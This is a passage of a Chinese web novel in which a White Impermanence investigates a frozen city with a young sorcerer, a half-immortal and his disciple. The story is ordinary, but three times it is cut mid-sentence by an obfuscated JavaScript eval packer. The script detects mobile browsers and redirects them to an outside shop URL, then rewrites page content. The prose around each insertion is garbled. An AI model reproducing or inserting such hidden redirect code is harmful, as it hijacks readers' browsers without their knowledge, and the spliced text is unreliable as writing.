她皱起眉,“不怎样,听上去像在叫村口那条狗。” 天衣无缝掩面笑了起来:“小白你知道么?喜怒哀乐里,你的‘怒’是装得最不像的。” 盛情难却对称呼本来不怎么在乎,恢复面无表情的状态,随他这么叫去了,“那么‘哀’呢?” “似乎确实没见过你伤心的样子……”天衣无缝随手轻抚着勾魂的铁链,动作优雅得仿佛在抚弄算筹。他想了想,“我希望你不会真的有哀伤的时候。不过就算你是装的,我也会哄你的。” 如今也没有哀伤,只是微微的有点……遗憾。 只是遗憾失去了一个性情相合的同僚罢了。 初春的江州城,暮色四合。白无常独自凝视着再空无一物的地面,然后站起身来。她冷冷望着夜幕,像是要看穿暗中藏伏的危机。一瞬间她几乎融入了周围静止不动的人们,唯有无字的白布幡在头顶悠悠飘扬,宛若在寂寥地召引着什么。 4. 萍水相逢(一) 三月初二,江州城,晴。 早晨的气息如此清新明丽,枝头嫩薄的新叶投下浅绿的影子,与死气沉沉的城池几乎有些格格不入。 小摊后四五十岁的汉子弯着腰,脸上还挂着殷勤的笑,正要拿起油纸去包即将出锅的锅盔。烙锅里的面食两面金黄,隐隐泛着油光,瞧着便觉得外脆内软,一口咬下去不知该多么满足。 一位青衣少年站在锅边,似乎是被此地特色的食物吸引住了,直勾勾地盯着那块锅盔。他的衣着在锦绣繁华的江州街头朴素得毫不起眼,然而下一瞬,他竟微微一动,抬起了手臂。动作虽然细微,在满街僵立的人群中却醒目得像一片坟墓中忽然掀翻棺材盖爬出来的鬼。 忽然好像真的冒出了鬼……一个幽幽的声音突然从他后颈处传来。 “这里的食物不能吃。” 来者声音不响,却像降下了一个惊雷。青衣少年近乎是蹦跳起来,一眨眼退到了墙边,惊慌之中动作倒是敏捷,好险没把锅撞翻。 一瞬间他以为那声音是太过安静而出现的幻觉,但随即朦胧的晨曦中浮现出披着白麻布斗篷的少女。她漠然地与他对视,幽深的眸子中不带任何感情,漆黑的长发从兜帽中直直挂下。黑白如此分明,像是来自吊丧的队伍。 “你是活人?” ——然而这句问询却是出自少女口中。 “我……是。”青衣少年呆了一下,不知道这个看似简单的问题是否蕴含着杀机。他一边谨慎地回答,一边瞟向少女手中标志性的引魂幡,“你是……无常?” “是。”少女连点头的力气都懒得花,冷冰冰吐出一个字。 少年戒备的神色稍稍一松,转而有些难以置信:“你不会是要来勾我魂的吧?莫非我的死期这就到了……我才刚十八岁呢!” 他不由有些心灰。虽然突然出现的不是青面獠牙的妖魔鬼怪,但见到无常也不是什么好兆头,绝大多数人唯一能看见这些鬼差的时候,就是即将去往地府的时候。 他自然是知道此地的食物是不能入口的,只是此刻他不由又瞟了那锅盔一眼,心想如果真的要死,那临死前还是啃一口饼好了。 “你为何未受异状影响?”白无常却不答反问,活像在拷问犯人。 “这个……”少年被问得措不及防,有些迷惑地眨了眨眼,但在白无常盛气凌人的注视下,他不敢绝口说“我也不知道”,只能犹豫地猜测:“或许是因为我会点道术?我师父也说我有些异于常人的禀赋。” “术师么。”白无常不为所动道,“那你可了解城内的情况?” “不算太了解吧。”少年抓抓头发,唏嘘自己的倒霉,“其实我前不久才刚来江州城呢。” 上个月师父说他已经出师了,大手一挥就把他赶了出去。哪有人学了三年道术就能出师的!怎么想都是那个老头偷懒不愿再带徒弟了。第二天他还想找师父问问,谁知老人家早已带着心爱的酒囊不知所踪,他也只能收拾了包裹下了山。听说附近的江州城是大奉数一数二的繁华之地,便想着进城看看热闹,谁知才来了没两天便遇上异状,被困在了城中。 一看白无常还盯着他,少年立即自觉地将来龙去脉和盘托出。他已经看出这位无常不是来勾他的魂、也并无明显的恶意,他先前攥在手里的符纸也悄悄藏了回去,只是少女森严的气势还让他有些畏缩。 讲完自己的不幸遭遇,青衣少年撇撇嘴,旋即又好奇地望向白无常,顺口说道:“不过我还是第一次见到无常,跟我想象的不太一样呢。” “你是第一次见到无常?” 少女漫不经心地问,脸上甚至浮现出一个笑容。可她的声线原本就偏锐,此时倏忽发问,像是刀锋猝然一闪,衬着她的笑反倒更加怵人。 但青衣少年似乎完全没有窥探到这点微妙的气氛,兀自散漫答道:“是啊。以前我住在山上,只偶尔有些孤魂野鬼。至于无常,大多是以前听的一些民间故事,见是没见过啦。” 他只是有些疑惑白无常为何要确认这么微不足道的事,等着她对这个莫名其妙的问题作出解释,对方却陷入了沉默。那种冷酷得目中无人的气场忽然收敛了,几乎是暗淡了下去。甚至连青衣少年这般迟钝,都察觉到了一丝不对劲。 他应该没说错什么话,但这种突然不言不语的时候……一般是想起了什么不好的事吧?青衣少年悄悄倒吸了一口气,假装不经意地转过视线去看白无常的神情,却见少女面上仍是一片平静,完全没有半点情绪。 她终于开口,却直接换了个话题:“你既然是术师,可有办法破除城中的异境?” “怎么可能!”少年对白无常的信任很是惊讶,“如果我有办法的话,现在就不会在这里了。” 他转念一想,更加惊讶,同时也有些丧气:“莫非连无常也困在这里了?” 白无常则再度无视了他的问题,一针见血道:“你不是说你天赋异禀么?” “我我我……”少年额上流下一滴冷汗,“这样覆盖一座城的术阵,如果不是百十来个人一齐设阵,就是要倚仗很厉害的法器才能做到。别说是我了,就连半仙都还出不去呢!” “什么半仙?”白无常微微眯了下眼,听出他的话并不是一个比喻。 “唔……这城里不止我能活动。我还偶然碰见过一对师徒,其中那个师父大约已经修至半仙了,就是身体好像不太好的样子。”青衣少年坦白。 “那两人在哪里?” 少年老实回答:“应该是在城西的如意客栈住着。” 白无常转过身,却没有如预料那样扬长而去,而是抛下一句:“还不走?” “啊?”青衣少年仍旧贴着墙,迟疑着没动。 “带路。”白无常不愿多费口舌。 “呃……虽然路有点远,但你沿着这条路一直走,看到旁边有一家酒铺的路口往左拐,再走一段路就到了。”少年好似一滩糊在墙上的泥不愿挪动。 白无常扭头盯着他看了片刻,“你是懒得带路?” “好、好吧!我走我走。”青衣少年有一种自己被拖上了贼船的感觉,抖抖衣服,无奈地迈开步子。 他忽然发现还不知该怎么称呼这位无常。“无常姐姐”?但眼前的少女看上去年纪比自己还轻,叫姐姐不免有点别扭;可“无常妹妹”更加不可能叫出口。他只能开口问道:“这位……你叫什么?” “盛情难却。”白无常给了个自我介绍时会露出的千篇一律的微笑。 不过青衣少年其实有些多虑。无论怎么称呼,盛情难却大概都不会有什么意见,在她听来都是一样的含义。 “确实听闻无常都是四个字的名称……我叫木明瑟。”青衣少年连忙也报上自己的名字,随即嘀咕:“盛情难却……怎么感觉这名字不太符合……” 盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273331|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情难却没有搭理他的自言自语。 但这位被迫拉来同行的木明瑟腿脚犯懒,嘴上却很来劲。他似乎认为两人已经算是某种结伴的关系,试图跟她打好关系,苦思片刻后没话找话道:“无常能看到人的死期么?” “不能。这些都记在生死簿上。”盛情难却干脆地否定他不知从哪听来的异闻。 “但是无常手里应该有生死簿吧?能看看我的死期么?” 盛情难却目光偏转,以她的表情来说,这已经能算是瞪了木明瑟一眼。 她能理解木明瑟没有别的居心,只是想搭话来消弭尴尬,但他找的话题也太不寻常了。虽然她无所谓,但开口就问自己的死期实在不是一般人会做的。 青衣少年不明所以地回看她,眼瞳澄澈,像是映着天光云影,单纯得让人难以责怪他不会说话。这家伙大概是在渺无人烟的山上待久了,才对人情世故偶尔欠缺一些察觉。 “你是想求死?还是想要长生?”盛情难却不留情地问。 “这……”木明瑟此时终于意识到不妥,慌忙解释,“都不是,我只是好奇而已……” “我的生死簿丢了。”盛情难却不在乎他的窘迫,平淡地说。 “咦……丢了?这应当是很重要的东西吧。”木明瑟又呆了一下,挠了挠脑门。能看出他极力想找点话来打圆场或者安慰眼前的无常,但也能看出他实在不谙此道。最后他叹了口气,干脆直截了当道:“不如我用术法帮忙找找?” 他说得诚心诚意,又很自然而然,并无客套的意思,像是提到什么手到拈来的事一般,反倒让人不由怀疑他是否太不知天高地厚。 “要怎么做?”盛情难却稍稍抬起眼。 “嗯……这点小事倒是不麻烦。”木明瑟东张西望一番,从地上拔了七八根草茎,喃喃自语了什么,随后一扬手就扔到了地上。没有奇光异彩,也没发生什么不可思议的现象,只是几根杂草散落一地。 盛情难却一言不发地站在旁边,没有对这看上去有些简陋的术法说什么。 木明瑟蹲下身认真地观察草茎。然而偏偏微风连绵不断,地上的草茎总是翻来滚去。过了半晌,木明瑟叹了口气,挥手打散了卜草,十分不情愿道:“看不出来。要么是那本簿子的方位不固定,要么是受到别的术法影响,寻物之术失灵了。” 第一回在别人面前施术就未能成功,木明瑟眉眼耷拉下去,显然有些泄气。而盛情难却好似什么都没发生过,只是抱着引魂幡道:“无妨,丢失东西只能怪自己不小心。不过若是有这寻物的术法,你平时丢了东西倒是容易找回。” “可惜我身上也没有什么物件可丢啊。”木明瑟夸张地抬起胳膊,原地转了一圈。 他从头到脚都朴素得用不上什么形容词,头发只用一支木簪挽起来,身上一身洗得有些发旧的青布衣裳,腰间也没挂什么花里胡哨的东西,全然是一个山里来的穷术师。 盛情难却静静看了他一眼,扭头继续往前走。而被这么一打岔,木明瑟似乎已经释然方才的意外。他眼神发亮地左顾右盼,一副乡下人刚见世面的模样,连那股懒劲都消散了些。他一边恋恋不舍地路过一家糕点铺,一边殷切地继续尝试搭话:“对了,无常不是有黑白两位,另一位黑无常呢,你们不在一块么?” “死了。”盛情难却脚步不停,接话也没有停顿,像石块投入水中,笔直沉没下去。 5. 萍水相逢(二) ——你是第一次见到无常? 木明瑟悚然,忽然想通了先前那个问题的缘由。 有人杀了黑无常,而白无常那句话是在怀疑他是凶手的可能性。 那位白无常与他是敌是友,就在不经意中取决于那时他的回答。此时他回过神来,这才领悟到一点当时气氛的凶险。而现在幕后之事冷不防被揭开,揭开之时气氛却如此松散平淡,不过像是在闲聊今天的天气。 天朗气清,晨曦宛如瓷器上的流光。 他忍不住偏头去看她的脸色。盛情难却仍然一脸平静,没有敌意,没有愤怒,更没有哀伤之情,仿佛刚刚根本没有说出某人的死讯。早晨的清光落在她眼中,只像是一片雪落在寒冷的雪地上。 莫非她其实跟那个黑无常关系并不好,之前的刺探只是虑及自身的安危?不过她看上去也确实不像能跟谁有交情的样子……木明瑟偷偷在心里揣测,一边按捺不住疑惑道:“原来无常也会死?你们死了之后会回到地府么?” “要不你现在来杀了我试试?”盛情难却目不斜视道。 “不不不……”木明瑟吓得连说了几个不字,又想不出怎么接话才好,只能苍白地转移话题:“呃……前面那个岔路应该要拐弯了。” “你看上去没怎么走过这条路,路线记得倒是清楚。”盛情难却语调没有起伏,听不出是夸赞还是怀疑。 “碰见那对师徒的时候问了问他们住在哪里,就记住了。”木明瑟不以为意,转头兴致盎然地研究起屋檐下挂着的风铃,“这种铃铛我也有一个哎,不过总觉得锈得快破了,而且摇起来刺耳得很……” 盛情难却不置可否,又道:“你和那两个人怎么不住在一块?” “咦……我为何要和他们在一块?”木明瑟困惑地睁大眼睛。 “那两人既是修仙之人,应该不大可能是恶人。城中情况如此古怪,结伴行动不是更加安全?” 木明瑟点点头,但很快又摇摇头:“但我跟他们不熟啊,贸然凑过去总觉得有些别扭。而且……” 他踌躇了一下,耸了耸肩:“而且我本就住在另一家客栈的。如意客栈太贵了,我住不起。” 他说得略带惆怅,大概心想无常是不会懂得这种人间疾苦的。 “客栈要钱的话去住王府如何。你问问里面的王爷,他不应声的话就是默认了。” 木明瑟呆呆地看向盛情难却,想辨别她是在认真探讨他的住处问题还是在开玩笑。但用这么严肃的语气讲冷笑话,也实在有点难以让人捧场地笑出声来。就在他扭头的这会,一个影子忽然奔来,正好跟没看路的木明瑟撞了个正着。 两声惊叫同时响起。木明瑟被撞得一个趔趄,险些跌倒在地。而盛情难却早就闪在一边,远远避开摔成一团的两人。 她仰头望去,“如意客栈”的招牌正悬在砰然大开的店门上。 “你——你们是?” 从店里直直冲出来的竟是一个稚气未退的少年。他身量跟盛情难却也差不多高,看上去甚至比她年纪还小点。一身素白袍子,腰上佩一柄银鞘长剑,一看便知是入了修仙道。 白衣少年立即整好袍袖,轮流环顾两个不速之客,最后选择朝着木明瑟开口,看来还记得他们的一面之缘。 “我们就是来寻你们的。”木明瑟捂着胸口,不禁探头望向客栈里面,“出了什么事么?你要去哪里?” “与二位没关系,不劳关心。”少年后退一步,“请问来找师父与我所为何事?” 他方才冲出客栈时的气势汹汹忽然消失了,静若孤松地站在那里,单手扶上佩剑剑柄,身姿也如剑一般峭直。他个头矮,望向两人时不由稍稍昂起下巴,那张清秀可爱的脸上却流露出不屈于下的傲气,目光锐利如刀,大有此路是我开此树是我栽的威势。 ……那块玉玦若是佩在他腰间,倒是十分合宜。 “城中难得还有不被异状影响之人,自然该来见见。”盛情难却漆黑的眸子盯着他,毫无感情、公事公办道。 少年转过视线看她,同样很快从她独特的装扮中认出了身份,“……白无常?” 他绷着脸,一瞬间流露出某种近乎憎厌的情绪。那一瞬间说甚至是杀意都不为过。但他很快又掩了下去,恢复为一派礼貌但疏离的态度。 盛情难却单刀直入:“你师父呢?” “家师正在休息。”少年简短一句后戛然而止。他仍旧站在原地,手按在剑柄上,没有领二人进去,也没有直接逐客。 木明瑟闭上嘴,满脸写着“我只是路人”,眼神递向盛情难却的方向。 “你们也没有不可见人的理由吧。”盛情难却淡淡道。 少年彬彬有礼:“二位毕竟突然来访,我侍奉师父有责,只是有些忧虑二位的用心。” “暂且是好意。”盛情难却平铺直叙地把话打回去,用词清楚得让人恼火不起来。她的态度作为访客而言哪怕不算恶劣,也不免显得不近人情。 “我明白了。那么等我去请家师下楼。” 少年皱了皱眉,不知为何脸上有点不情愿,转身跑回了客栈。不待他回来再请,盛情难却直接走进客栈,就近在一张无人的方桌边坐下。 附近几张桌子旁坐着手握杯盏举酒高谈的客人,大堂内恍然还回荡着无声的喧哗。然而这一切都凝固了,阳光斜斜从门口照入,空气中浮动的只有尘埃,静得有些空虚。 木明瑟也跟着进门,在桌子另一侧一屁股坐了下来。他倒未必是想跟盛情难却一块结伴行动的意思,更像是走了一大段路后迫不及待要坐下休息。 除了木明瑟坐下时不知身上藏的什么器物叮叮当当响了几声,大堂接着又陷入了冰封般的安静中。好在没等多久木楼梯上便传来了脚步声,一袭白裳飘然下楼,一瞬间冰消雪融,整座客栈好似都被来人的风姿照亮。 “今日又是晴天啊,看来明天将有大雨呢。” 吱呀一声,墙上窗户无风自启,霎时漏入大片微绿沁人的春意。来人迎着晴光含笑落座,“诸无,幸会二位。” “仙姿玉质”用来形容眼前的男子是再合适不过了。雪衣银冠,素雅得像从一纸水墨里走出来。但这位神仙般的人物并无半分孤高难近的气质,坐姿也歪歪斜斜,颇为随意。诸无一手支颐,一手朝身后站着的少年招了招:“松枝,莫在那里站着了,快坐下。” 少年没有作声,仍然板着一张脸,默默坐在了桌子最后一侧。 四人各占方桌一边,木明瑟忍不住又嘴碎了一句:“一桌四人,正好能凑一桌麻将……” 诸无听到这句贫嘴,反而开怀一笑:“牌戏我也是会的,可惜这里并无骨牌,不然这般好的天气,小赌怡情也无妨。” “您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273332|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒还有打牌的闲心。”盛情难却冷冷道。 “闲心什么时候都是有的。”诸无悠然道,“何况如今我也做不了什么,只能闲坐消遣罢了。” “您身为半仙,若说无能为力,不免太自谦了。” “哈哈,半仙是不假,不过仙魂已经受损,恐怕羽化之期将近……”诸无若无其事地说到这里,旁边松枝的脸忽然黑了下来。师徒二人并未目光相接,诸无却好像察觉到什么,一顿后收住了话,轻飘飘地摆摆手打趣道:“好了好了,不说这些,否则我徒儿要不高兴了。” 盛情难却眼睫微动,心中不由想到了某个人。同样是悠闲的气度,天衣无缝是从容不变,而诸无更像是极度的豁达。 她双手平按着桌子,那杆引魂幡无人搀扶,却奇迹般竖立着,在她身后徐徐招展,“你们为何来江州城?” 师徒二人既然住在客栈,想来不是久居江州,只是近期来此。 “不过是云游来此……” “我们是来寻禊草的!”松枝忽然出声,声调拔高,仿佛是要压过他师父的前一句话。他那矜傲的性子似乎只是对着盛情难却和木明瑟两个外人,而在自家师父面前则多了几分任性的孩子气。 他方才始终微微侧着身坐,有意无意地背对着诸无,师徒俩好像在闹什么矛盾——尽管大概是松枝在单方面闹脾气,诸无则全然是一笑置之的态度。 松枝掷下这句话时仿若赌气,眼睛却始终盯着盛情难却和木明瑟,警觉地观察他们的反应。一直新奇地摆弄着青花茶杯的木明瑟浑然不觉地抬起头,露出惊讶的表情:“是那个禊草么?我之前在一本书上看到过,说‘三月三,山中有禊草初生,状若风,服之得仙身长生’。” 松枝审视了他一眼,对他的见识有些意外:“正是。其中的‘山’就是指江州城南的更远山。” 木明瑟看看松枝又看看诸无,像是领悟了什么。他脱口而出:“可是禊草应该是不存在的呀。那书并非是什么典籍,只是一本传奇志异录,否则我也不会看了……里面大多数故事都是子虚乌有的。要是山上真有这种仙草,更远山还不被求仙之人踏平了?” “没办法,我家徒儿一直嚷着要来找找看,便当作踏春了。”诸无宽容地说。 “三月三。那就是明日了?”盛情难却道。 松枝颔首,“没错。所以二位如果有事相商,还请过几日再来。” 他正好坐在盛情难却对面,盛情难却直直望着他,平声道:“即使城中已经这副模样,不顾满城生灵,仍然要去找仙草么?” 她说话不带情绪,就好像一字一句印在纸上,读不出是藏着弦外之音还是如字面一样单纯的询问。 “但——”木明瑟刚开口就被盛情难却暗中踢了一脚。他知趣地装作咳嗽一声,默默趴回了桌上。 “……” 松枝撇开视线,像是不屑于回答白无常的问题。但其他人都看出了他沉默中隐藏的意味——身为仙徒,他大约也是觉得异境当头,只顾私心有些对不起自己的身份责任和满城生死未知的人。 他并非不关心,只是有更重要的事不得不先行去做。 “我仙身已衰,实在有心无力。而我这笨徒弟更加做不到什么,倒不如由他去。”诸无轻笑着接过话,话锋一转,“只是我有一请求。不知二位明日能否陪愚徒一同上山?” 6. 萍水相逢(三) “为什么?” 率先提出疑问的竟然是松枝自己。他瞪大眼睛,终于转向诸无的方向,神情间带着点少年气的倔强,似乎有些不满于师父专门拜托别人给他当随从。 诸无指节轻敲桌子,好似在敲徒儿的脑袋,“你仙法才学了点皮毛,为师怎么能放心让你一个人去山上。” 盛情难却道:“您为何不亲自去?” 自从见面以来,她的语气就称不上和善,诸无却毫不在意,怡然散漫得像在闲话家常: “我近来甚多嗜睡,恐怕无法同去。” 他说得轻描淡写,松枝垂眸盯着桌面,脸色有些一言难尽。看来诸无所言非虚,而且这“嗜睡”的症状想必还不简单。 盛情难却不为所动:“可对我来说又有什么好处?” 松枝掀起眼帘,凌厉的视线斜过方桌,似乎被盛情难却的咄咄逼人激得有些恼怒。诸无却云淡风轻地截过话头,他柳眉一挑,半开玩笑:“我原以为无常是不会讲究‘好处’的。” “我受地府之令来查明江州异状,其余浪费时间之事自然少做为好。”盛情难却端坐说话时,那杆无字白幡在她身后无风自动,萧萧带出几分森然之气。 “那么更远山中说不定就藏着线索。”诸无屈指轻轻一弹瓷杯,杯中无水,脆凌凌的响声仿佛戛玉敲冰,“姑娘原本应当是想请我协作的吧,可惜我身体实在抱恙。不过若是当真和我徒弟能在山上寻得仙草补我仙魂,待我平复如旧后或许便能破开江州的困境了。” 盛情难却思量少顷,最后脸上缓缓扯出一个笑容表示同意。 自始至终,她都是以自己的立场在交涉,而将木明瑟剔除在外。在她对诸无的提议默认后,木明瑟也终于找到了说话的时机。他一边玩着茶杯一边随随便便道:“既然如此,我也会去的。” 盛情难却本以为木明瑟一副懒洋洋的样子,多半会推脱这么费力不讨好又毫不相干的事。见他反倒答应得爽快,不由瞟了他一眼。 也许她的眼神太明显,青衣术师挠了挠头,小声说:“看我作甚,我可是很乐于助人的……” 盛情难却没理他,转头对脸色依然有所顾虑的松枝道:“放心,要是真找到了仙草,我们也绝对不会抢来占为己有的。” “辛苦二位了。”松枝袖手端端正正一礼,表情还是不怎么热络,“那么明日辰时,请诸位在这间客栈碰面。” 盛情难却视线平移向木明瑟,用的是下令的语气:“你今晚就搬到这里住。”。 “哎?” “既然都已定妥,若无他话,我就再回房小睡片刻了。”诸无又轻快地敲了两下杯盏,在一连串犹如乐音的清响中洒然离去。盛情难却这才注意到他腰间挂着一支木箫,大概是善乐的好手。 松枝起身,大约不想没事跟两人待在一块,又不想和诸无一起上楼,只能别扭地理了理衣服,这才慢腾腾地转上楼去。 剩下两人面面相觑,木明瑟深吸一口气:“我去把行囊拿来?” “随你。”盛情难却拂袖站起。 “那……盛姑娘,你去做什么?”木明瑟好不容易想出“盛姑娘”这个还算合宜的称呼。 “江州城我尚未全部看过一遍。” 木明瑟又磨蹭了一下,总算舍得离开板凳站了起来。 “要不盛姑娘你稍等片刻……我也一起去?” 单独行动还是结伴行动,对盛情难却来说没什么区别。而且她早就练就了把别人的喋喋不休当作耳旁风的本事,所以尽管木明瑟时不时在旁边咋咋呼呼,她也只是自顾自走路。 平心而论,木明瑟本性并不话痨,只是如他自述,山里人初来乍到,对城里的东西不免充满好奇,看见什么都会不由得念叨上两句,倒也情有可原。 “盛姑娘你看,那座楼得有八十丈高吧。”木明瑟指着东面惊叹,“我听说江州城的这座楼是大奉第一高楼呢。” 他所指的远处,一座十五层高楼从连绵的屋脊中突兀而起,几乎把天际分作两半。传说这座断章楼是为了定江州的风水,修建得棱角毕露,毫无江州一贯的华美,仿佛花团锦簇中一柄直刺天穹的重剑。 “我去看过,没什么特别的。”盛情难却头也不抬。 “我当时也想爬上去看看,可惜高层要交了银钱才能进去……”木明瑟悻悻地说着,却忽然被盛情难却打断。 “为什么要跟着我?” “盛姑娘你不是要解除江州城的异状么?我也是这么想的,自然就跟你一块咯。”木明瑟理所当然道,“而且我看你吉人天相,最后必然能成功脱困。” “我已非人,哪有面相之说。”盛情难却不客气地说,“而且你为什么不跟着那对师徒?” “我看相可是很准的。”木明瑟不服气地反驳,“后面那个问题盛姑娘你已经问过我了。你不觉得那师徒俩之间外人不好掺和么?而且我虽然很愿意帮他们的忙,但他们毕竟不是把江州的事当作第一目标。” “那你为何想要解决江州之事?” “这有什么为什么?”木明瑟莫名其妙,忽然他眼睛一亮,诧异道:“这街上还有寿衣铺呢?” 前面果然有一家寿衣铺,说大不大,说小却也不小。照理说这种与丧葬有关的店铺是不会堂而皇之地开在如此热闹的街道上的,否则不免让路人觉得晦气。不过兴许是江州这里的风气不忌讳这些。 木明瑟兴致勃勃地探着头观察,随后竟然快步跑了过去,压着声音喊起来:“盛姑娘盛姑娘,快来看!” 盛情难却应声而去。她对木明瑟的大惊小怪已经不以为然了,只是疑惑他难得愿意费劲多走一段路。 这家临街的寿衣铺看上去倒是规规矩矩,前面的台子上摆着各式各样的纸扎,这些纸人纸马在葬仪上会被焚烧,以期能将它们代表的荣华富贵随死者带入地府。而身为无常的盛情难却不觉得这些烧去的纸扎能贿赂判官们,它们不能给死者来世保个好命数,不过是给活着的人一个安慰罢了。 至于店铺里面,除了通向后屋的门帘外,墙上挂着几件寿衣,也没有什么特别之处。 然而出乎意料,木明瑟的下一句话不是“我第一次看见这么豪华的纸扎”,也不是“这寿衣的做工好精细”。 “这铺子里有人。”他轻声说。 盛情难却无声地瞥了他一眼,不知是没理解他的意思,还是示意他继续往下说。但木明瑟采取了最直接的方式,他突然扯开嗓子,声音敲锣一样响彻了半条街:“有——人——在——吗——” …… “看来没人。”听他锲而不舍地喊了好几声后,盛情难却平静地说。若非她这样的性子,换作旁人,对于木明瑟这般可谓莽撞的举动恐怕早已大加抨击了。 “嗯……盛姑娘,你看这里,台子上有一片未干的水渍,想来是有人不小心洒在这里的。”木明瑟没有如愿把人叫出来,失望地缩回脑袋,转而跟盛情难却解释,“这水迹既然没干透,应该是几个时辰内洒上的……但那人现在不在店里。” “就算有人,刚刚会被你那样叫出来么?” “能把水洒在台子上,那人要么不谨慎,要么不在乎,说不定喊两声就会出来了。”木明瑟意料之外的有理有据。 盛情难却扭过头,没有继续追问下去,算是认可了他的做法。 “总之进去看看。”她飘进店里,停下,“还想说什么?” “……我第一次看见这么豪华的纸扎!还有这寿衣的做工好精细!” 弯月如钩。 盛情难却和木明瑟在那家寿衣店前后翻了一圈,除了确实有人生活的痕迹,就只有一些葬仪上用的祭祀物品,出现在寿衣店里也不奇怪。既然不知这位店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273333|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主去了何处、又何时才会回来,两人只能决定之后再来看看。 在城里逛到日暮,木明瑟就嚷嚷着实在累了,提前溜回了客栈。盛情难却独自巡视到子夜,此刻她坐在如意客栈的屋脊上,俯瞰着黑压压的江州城。 城内无人点亮灯烛照明,白天万紫千红的江州城,入夜了只是一片鳞次栉比的黑影。 天上细月那一点渺茫的光,沉入阴影便不着痕迹,因此倒像是全部的月光都汇聚在两位身着白衣的人身上。 屋檐下方的露台上,诸无独身一人倚着阑干,信手解下了腰间别着的木萧,片刻后幽幽的箫声飘荡如春风过耳。他果然精通音律,但箫这种乐器原本声韵自然有几分幽怨,诸无吹奏起来竟快意飘飖,如似千里风来。 最后一缕箫声止息,盛情难却低下头淡淡道:“您真是逍遥。” 诸无指间转着箫管,声音微带笑意:“何以见得?” “对自己的生死不在意,对江州城民的生死也不在意。” 诸无轻出一口气,像是笑,又像是叹气:“怎么是不在意呢。只是生、死、寿、夭,在我眼中都是等齐之事。方生方死、方死方生,一切都在此消彼长罢了。身死之后经地府入轮回,无非是新生的开始,而出生也不过是一步步走向衰亡。姑娘既然是无常,理当懂得生死循环的道理。” 他背对而立看不清表情,风过吹动一身宽大白衣,翩然如云漫卷,正应了方才盛情难却评价他的“逍遥”二字。他的箫声如风,人亦如春风一阵,只觉柔和,世上却没有东西能真正束缚累及他。 这位半仙给人的印象向来平易近人,然而方才那番话说罢,忽然让人觉得那白宣水墨一样的身影如隔云端,伸手不可相及。 盛情难却看着那袭鹤羽般的白衣,拂动衣角的凉风也穿透她的身体。在这一瞬间,她明白了师徒俩依稀的矛盾何来。 “这就是仙人所想么。”她漠然道,“我以为仙家是济世安人的。” “也有一种说法是仙人薄情呀。”诸无不恼,惬意地临风凭栏,“不过这般说来,姑娘不也一样觉得万事万物都无所分别,也无所感情么。” “……” 诸无微微侧身,一挑眉梢,“我听闻,殊异之人,死后仍与生前有羁绊不肯解,牵连至深,或被地府择为无常。不知姑娘这样的人会有什么羁縻才成为无常呢?” 盛情难却无视他的话,不露声色道:“您自言等生死齐万物,那么您徒弟的生死也是可以等量齐观的么?” “哈哈……”诸无稍怔,一拍栏杆,舒怀而笑,“正像姑娘有所执念,或许我也尚有几分私情。” “您倒是放心把徒弟交给我们两个陌生人。” “那位小术师心性善良,至于姑娘你,本是为了地府公差而来,与我小徒儿无冤无仇,又怎会有害于他。” 听到“无冤无仇”时,盛情难却微微抓紧衣袖。怀中的玉玦贴着她没有体温的胸口,冰冷一片。 而诸无察觉不到她的心思,他平眺远方若隐若现的山脉,悠然道:“江州城会怎样呢……姑娘不必焦急奔走,顺其自然便好。” “这是您的逍遥之道,还是您预见了将来之事?” “心力不济,捕风捉影罢了。而且要是桩桩都能预测,就不是人能修成的仙,而是天上的神了。”诸无伸了个懒腰,“夜已深,姑娘也早些去休息——啊,不过无常应当是不需要睡眠的吧。” 盛情难却拨弄着瓦片的脚停下来,在一霎的宁静中突然觉得他话里还有未尽之意,兀地开口:“您还预见了何事么?” “……不知姑娘的生死簿上是否有记我的生卒呢?”诸无回过身,在空濛月光的映衬下,他的脸苍白几无血色。他笑望了盛情难却一眼,挥袖推门,游云白鹤般的身影没入屋檐之下,若有若无传来一句:“但我已经知晓我的死期了。” 7. 行不履危(一) “你们……你们怎么都在!现在离辰时还差一刻呢!” 木明瑟睡眼惺忪地从二楼走廊探出脑袋来,不可思议地看着底下坐着的两人。 客栈仍然一片朦胧,地上历历地映着窗格的影子。盛情难却和松枝都一动不动地坐着,乍一眼几乎融入了周围泥塑木雕一样的人群。 松枝坐得笔直,似乎目光要刻意避开白无常一般,拧着脖子定定凝望窗外。听到木明瑟的声音,他才转回头,礼貌地微微颔首。而盛情难却则毫无反应,好像她已经在这里坐了上百年,成功坐化成了一块石头。 